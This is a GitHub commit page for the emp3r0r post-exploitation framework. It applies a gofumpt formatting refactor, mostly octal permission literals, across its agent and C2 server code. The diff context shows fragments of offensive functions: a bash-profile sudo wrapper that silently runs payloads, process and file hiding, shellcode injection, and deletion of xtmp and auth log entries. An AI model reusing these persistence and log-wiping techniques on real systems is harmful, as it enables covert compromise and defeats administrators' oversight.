Skip to content

Commit

Permalink
refactor: gofumpt
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Sep 23, 2024
1 parent 698fbed commit 03e7788
Show file tree
Hide file tree
Showing 60 changed files with 324 additions and 349 deletions.
6 changes: 3 additions & 3 deletions core/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,7 @@ func main() {
} else if !runElvsh {
// silent!
log.SetOutput(io.Discard)
null_file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0644)
null_file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0o644)
if err != nil {
log.Fatalf("[-] Cannot open %s: %v", os.DevNull, err)
}
Expand Down Expand Up @@ -166,7 +166,7 @@ func main() {
// use absolute path
// TODO find a better location for temp files
if !util.IsExist(agent.RuntimeConfig.UtilsPath) {
err = os.MkdirAll(agent.RuntimeConfig.UtilsPath, 0700)
err = os.MkdirAll(agent.RuntimeConfig.UtilsPath, 0o700)
if err != nil {
log.Fatalf("[-] Cannot mkdir %s: %v", agent.RuntimeConfig.AgentRoot, err)
}
Expand Down Expand Up @@ -306,7 +306,7 @@ test_agent:

// agent root
if !util.IsExist(agent.RuntimeConfig.AgentRoot) {
err = os.MkdirAll(agent.RuntimeConfig.AgentRoot, 0700)
err = os.MkdirAll(agent.RuntimeConfig.AgentRoot, 0o700)
if err != nil {
log.Printf("MkdirAll %s: %v", agent.RuntimeConfig.AgentRoot, err)
}
Expand Down
4 changes: 2 additions & 2 deletions core/cmd/cc/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,7 @@ func main() {
}
go func() {
defer cc.CliPrintError("session unexpectedly exited, please restart emp3r0r")
var SSHConnections = make(map[string]context.CancelFunc, 10)
SSHConnections := make(map[string]context.CancelFunc, 10)
pubkey, err := tun.SSHPublicKey(cc.RuntimeConfig.SSHHostKey)
if err != nil {
cc.CliFatalError("Parsing SSHPublicKey: %v", err)
Expand All @@ -147,7 +147,7 @@ func main() {
// start cdn2proxy server
if *cdnproxy != "" {
go func() {
logFile, err := os.OpenFile("/tmp/ws.log", os.O_CREATE|os.O_RDWR, 0600)
logFile, err := os.OpenFile("/tmp/ws.log", os.O_CREATE|os.O_RDWR, 0o600)
if err != nil {
cc.CliFatalError("OpenFile: %v", err)
}
Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/bash.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,13 +15,13 @@ import (
// ExtractBash extract embedded bash binary and configure our bash shell
func ExtractBash() error {
if !util.IsExist(RuntimeConfig.UtilsPath) {
err := os.MkdirAll(RuntimeConfig.UtilsPath, 0700)
err := os.MkdirAll(RuntimeConfig.UtilsPath, 0o700)
if err != nil {
log.Fatalf("[-] Cannot mkdir %s: %v", RuntimeConfig.AgentRoot, err)
}
}

err := os.WriteFile(RuntimeConfig.UtilsPath+"/.bashrc", []byte(file.BashRC), 0600)
err := os.WriteFile(RuntimeConfig.UtilsPath+"/.bashrc", []byte(file.BashRC), 0o600)
if err != nil {
log.Printf("Write bashrc: %v", err)
}
Expand Down
5 changes: 2 additions & 3 deletions core/lib/agent/broadcast.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,9 +20,8 @@ var ReverseConns = make(map[string]context.CancelFunc)
// BroadcastServer listen on a UDP port for broadcasts
// wait for some other agents to announce their internet proxy
func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string) (err error) {
var (
passProxyCnt int // one time only
)
var passProxyCnt int // one time only

defer cancel()
bindaddr := ":" + port
if port == "" {
Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/ccHandler.go
Original file line number Diff line number Diff line change
Expand Up @@ -158,7 +158,7 @@ func processCCData(data *emp3r0r_data.MsgTunData) {

path := strings.Join(cmdSlice[1:], " ")
out = "Mkdir " + path
if err = os.MkdirAll(path, 0700); err != nil {
if err = os.MkdirAll(path, 0o700); err != nil {
out = fmt.Sprintf("Failed to mkdir %s: %v", path, err)
}
sendResponse(out)
Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/getroot.go
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ func CopySelfTo(dest_file string) (err error) {
// mkdir -p if directory not found
dest_dir := strings.Join(strings.Split(dest_file, "/")[:len(strings.Split(dest_file, "/"))-1], "/")
if !util.IsExist(dest_dir) {
err = os.MkdirAll(dest_dir, 0700)
err = os.MkdirAll(dest_dir, 0o700)
if err != nil {
return
}
Expand All @@ -35,7 +35,7 @@ func CopySelfTo(dest_file string) (err error) {
os.RemoveAll(dest_file)
}

return os.WriteFile(dest_file, elf_data, 0755)
return os.WriteFile(dest_file, elf_data, 0o755)
}

func GetRoot() error {
Expand Down
4 changes: 1 addition & 3 deletions core/lib/agent/injector.go
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@ func prepare_loader_so(pid int, bin string) (so_path string, err error) {
if err != nil {
return "", fmt.Errorf("Extract loader.so failed: %v", err)
}
err = os.WriteFile(so_path, out, 0644)
err = os.WriteFile(so_path, out, 0o644)
if err != nil {
return "", fmt.Errorf("Write loader.so failed: %v", err)
}
Expand Down Expand Up @@ -161,7 +161,6 @@ func prepare_shared_lib() (path string, err error) {
// prepare the shellcode
func prepare_sc(pid int) (shellcode string, shellcodeLen int) {
sc, err := DownloadViaCC("shellcode.txt", "")

if err != nil {
log.Printf("Failed to download shellcode.txt from CC: %v", err)
// prepare guardian_shellcode
Expand All @@ -185,7 +184,6 @@ func prepare_sc(pid int) (shellcode string, shellcodeLen int) {

// InjectorHandler handles `injector` module
func InjectorHandler(pid int, method string) (err error) {

// dispatch
switch method {

Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/mod.go
Original file line number Diff line number Diff line change
Expand Up @@ -63,7 +63,7 @@ func moduleHandler(modName, checksum string) (out string) {
return fmt.Sprintf("Processing module files: %v", err)
}
for _, f := range files {
os.Chmod(f.Name(), 0700)
os.Chmod(f.Name(), 0o700)
if util.IsExist(libs_tarball) {
os.RemoveAll("libs")
err = archiver.Unarchive(libs_tarball, "./")
Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/osinfo_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ func genOSRelease() {
// CentOS 6.x
if release := slurpFile("/etc/centos-release"); release != "" {
if m := reCentOS6.FindStringSubmatch(release); m != nil {
spewFile(osReleaseFile, fmt.Sprintf(centOS6Template, m[1], m[1]), 0666)
spewFile(osReleaseFile, fmt.Sprintf(centOS6Template, m[1], m[1]), 0o666)
return
}
}
Expand All @@ -75,7 +75,7 @@ func genOSRelease() {
case 2:
version = m[1]
}
spewFile(osReleaseFile, fmt.Sprintf(redhat6Template, version, code_name, version, version), 0666)
spewFile(osReleaseFile, fmt.Sprintf(redhat6Template, version, code_name, version, version), 0o666)
return
}
}
Expand Down
8 changes: 4 additions & 4 deletions core/lib/agent/persistence.go
Original file line number Diff line number Diff line change
Expand Up @@ -169,7 +169,7 @@ func profiles() (err error) {
}
sudoPayload := strings.Join(sudoLocs, "||")
loader += fmt.Sprintf("\nfunction sudo() { /usr/bin/sudo $@; (set +m;((%s) 2>/dev/null)) }", sudoPayload)
err = os.WriteFile(bashprofile, []byte(loader), 0644)
err = os.WriteFile(bashprofile, []byte(loader), 0o644)
if err != nil {
return
}
Expand Down Expand Up @@ -204,7 +204,7 @@ func AddCronJob(job string) error {
func HidePIDs() (err error) {
// mkdir
if !util.IsDirExist("/usr/share/at") {
os.MkdirAll("/usr/share/at", 0755)
os.MkdirAll("/usr/share/at", 0o755)
}
pids := make([]int, 0)

Expand Down Expand Up @@ -241,7 +241,7 @@ func HidePIDs() (err error) {
pids = util.RemoveDupsFromArray(pids)
pid_list_str := strings.Join(util.IntArrayToStringArray(pids), "\n")

err = os.WriteFile(Hidden_PIDs, []byte(pid_list_str), 0644)
err = os.WriteFile(Hidden_PIDs, []byte(pid_list_str), 0o644)
if err != nil {
return
}
Expand All @@ -266,7 +266,7 @@ func patcher() (err error) {
util.FileBaseName(RuntimeConfig.AgentRoot),
util.FileBaseName(Hidden_Files),
util.FileBaseName(Hidden_PIDs))
err = os.WriteFile(Hidden_Files, []byte(files), 0644)
err = os.WriteFile(Hidden_Files, []byte(files), 0o644)
if err != nil {
log.Printf("Cannot create %s: %v", Hidden_Files, err)
}
Expand Down
8 changes: 3 additions & 5 deletions core/lib/agent/poll.go
Original file line number Diff line number Diff line change
Expand Up @@ -91,9 +91,7 @@ func catchInterruptAndExit(cancel context.CancelFunc) {

// ConnectCC connect to CC with h2conn
func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel context.CancelFunc, err error) {
var (
resp *http.Response
)
var resp *http.Response
defer func() {
if conn == nil {
err = fmt.Errorf("ConnectCC at %s failed", url)
Expand All @@ -104,7 +102,8 @@ func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel conte
// use h2conn for duplex tunnel
ctx, cancel = context.WithCancel(context.Background())

h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient,
h2 := h2conn.Client{
Client: emp3r0r_data.HTTPClient,
Header: http.Header{
"AgentUUID": {RuntimeConfig.AgentUUID},
"AgentUUIDSig": {RuntimeConfig.AgentUUIDSig},
Expand Down Expand Up @@ -271,7 +270,6 @@ func CCMsgTun(ctx context.Context, cancel context.CancelFunc) (err error) {

// set C2Transport
func setC2Transport() {

if tun.IsTor(emp3r0r_data.CCAddress) {
emp3r0r_data.Transport = fmt.Sprintf("TOR (%s)", emp3r0r_data.CCAddress)
return
Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/proc.go
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ func CheckAgentProcess() *emp3r0r_data.AgentProcess {
func IsAgentRunningPID() (bool, int) {
defer func() {
myPIDText := strconv.Itoa(os.Getpid())
if err := os.WriteFile(RuntimeConfig.PIDFile, []byte(myPIDText), 0600); err != nil {
if err := os.WriteFile(RuntimeConfig.PIDFile, []byte(myPIDText), 0o600); err != nil {
log.Printf("Write RuntimeConfig.PIDFile: %v", err)
}
}()
Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/proc_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ func CopyProcExeTo(pid int, dest_path string) (err error) {
os.RemoveAll(dest_path)
}

return os.WriteFile(dest_path, elf_data, 0755)
return os.WriteFile(dest_path, elf_data, 0o755)
}

// rename agent process by modifying its argv, all cmdline args are dropped
Expand Down
7 changes: 3 additions & 4 deletions core/lib/agent/proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -136,10 +136,9 @@ func PortFwd(addr, sessionID, protocol string, reverse bool, timeout int) (err e

// start a local listener on agent, forward connections to CC
func listenAndFwd(ctx context.Context, cancel context.CancelFunc,
port, sessionID string) {
var (
err error
)
port, sessionID string,
) {
var err error

// serve a TCP connection received on agent side
serveConn := func(conn net.Conn) {
Expand Down
2 changes: 1 addition & 1 deletion core/lib/agent/ss.go
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ func ShadowsocksC2Client() {
local_socks_addr := "127.0.0.1:" + RuntimeConfig.ShadowsocksPort

// start ss
var ss_config = &ss.SSConfig{
ss_config := &ss.SSConfig{
ServerAddr: server_addr,
LocalSocksAddr: local_socks_addr,
Cipher: ss.AEADCipher,
Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/util.go
Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,7 @@ func IsAgentAlive(c net.Conn) bool {

// Send2CC send TunData to CC
func Send2CC(data *emp3r0r_data.MsgTunData) error {
var out = json.NewEncoder(emp3r0r_data.CCMsgConn)
out := json.NewEncoder(emp3r0r_data.CCMsgConn)

err := out.Encode(data)
if err != nil {
Expand Down Expand Up @@ -153,7 +153,7 @@ func Upgrade(checksum string) (out string) {
if checksum != download_checksum {
return fmt.Sprintf("Error: checksum mismatch: %s expected, got %s", checksum, download_checksum)
}
err = os.Chmod(tempfile, 0755)
err = os.Chmod(tempfile, 0o755)
if err != nil {
return fmt.Sprintf("Error: chmod %s: %v", tempfile, err)
}
Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/vaccine.go
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,7 @@ func VaccineHandler() (out string) {
// unpack utils.tar.xz to our PATH
os.RemoveAll(RuntimeConfig.UtilsPath) // archiver fucking aborts when files already exist
if !util.IsExist(RuntimeConfig.UtilsPath) {
if err = os.MkdirAll(RuntimeConfig.UtilsPath, 0700); err != nil {
if err = os.MkdirAll(RuntimeConfig.UtilsPath, 0o700); err != nil {
log.Print(err)
return fmt.Sprintf("mkdir: %v", err)
}
Expand Down Expand Up @@ -88,7 +88,7 @@ func VaccineHandler() (out string) {
defer os.Remove(PythonArchive)

// create launchers
err = os.WriteFile(RuntimeConfig.UtilsPath+"/python", []byte(PythonLauncher), 0755)
err = os.WriteFile(RuntimeConfig.UtilsPath+"/python", []byte(PythonLauncher), 0o755)
if err != nil {
out = fmt.Sprintf("Write python launcher: %v", err)
}
Expand Down
4 changes: 2 additions & 2 deletions core/lib/agent/xtmp.go
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@ func deleteXtmpEntry(keyword string) (err error) {
}

// save new file as xtmp.tmp, users need to rename it manually, in case the file is corrupted
newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0664)
newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0o664)
if err != nil {
return fmt.Errorf("Failed to open temp xtmp: %v", err)
}
Expand Down Expand Up @@ -100,5 +100,5 @@ func deleteAuthEntry(keyword string) (err error) {
new_content += line + "\n"
}
}
return os.WriteFile(path, []byte(new_content), 0644)
return os.WriteFile(path, []byte(new_content), 0o644)
}
1 change: 0 additions & 1 deletion core/lib/cc/agentHandler.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@

package cc


import (
"encoding/json"
"fmt"
Expand Down
1 change: 0 additions & 1 deletion core/lib/cc/api_server.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@

package cc


import (
"log"
"net"
Expand Down
1 change: 0 additions & 1 deletion core/lib/cc/bash_stager.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@

package cc


import (
"encoding/base64"
"fmt"
Expand Down
2 changes: 1 addition & 1 deletion core/lib/cc/buildAgent.go
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@ func save_config_json() (err error) {
return fmt.Errorf("Saving %s: %v", EmpConfigFile, err)
}

return os.WriteFile(EmpConfigFile, w_data, 0600)
return os.WriteFile(EmpConfigFile, w_data, 0o600)
}

func InitConfigFile(cc_host string) (err error) {
Expand Down
16 changes: 10 additions & 6 deletions core/lib/cc/cc.go
Original file line number Diff line number Diff line change
Expand Up @@ -170,15 +170,19 @@ func ListTargets() {
"IPs": ips,
}

var row = []string{index, label, util.SplitLongLine(target.Tag, 15),
infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"]}
row := []string{
index, label, util.SplitLongLine(target.Tag, 15),
infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"],
}

// is this agent currently selected?
if CurrentTarget != nil {
if CurrentTarget.Tag == target.Tag {
index = color.New(color.FgHiGreen, color.Bold).Sprintf("%d", control.Index)
row = []string{index, label, util.SplitLongLine(target.Tag, 15),
infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"]}
row = []string{
index, label, util.SplitLongLine(target.Tag, 15),
infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"],
}

// put this row at bottom, so it's always visible
tail = row
Expand Down Expand Up @@ -420,7 +424,7 @@ outter:
}

// write file
err = os.WriteFile(AgentsJSON, data, 0600)
err = os.WriteFile(AgentsJSON, data, 0o600)
if err != nil {
CliPrintWarning("Saving labeled agents: %v", err)
}
Expand Down Expand Up @@ -505,7 +509,7 @@ func InitConfig() (err error) {
FileGetDir = EmpWorkSpace + "/file-get/"
EmpConfigFile = EmpWorkSpace + "/emp3r0r.json"
if !util.IsDirExist(EmpWorkSpace) {
err = os.MkdirAll(FileGetDir, 0700)
err = os.MkdirAll(FileGetDir, 0o700)
if err != nil {
return fmt.Errorf("mkdir %s: %v", EmpWorkSpace, err)
}
Expand Down
6 changes: 4 additions & 2 deletions core/lib/cc/cli.go
Original file line number Diff line number Diff line change
Expand Up @@ -539,9 +539,11 @@ func CliListOptions() {
}

tdata = append(tdata,
[]string{util.SplitLongLine(k, 20),
[]string{
util.SplitLongLine(k, 20),
util.SplitLongLine(help, 20),
util.SplitLongLine(v, 20)})
util.SplitLongLine(v, 20),
})
}
table.AppendBulk(tdata)
table.Render()
Expand Down
Loading

0 comments on commit 03e7788

Please sign in to comment.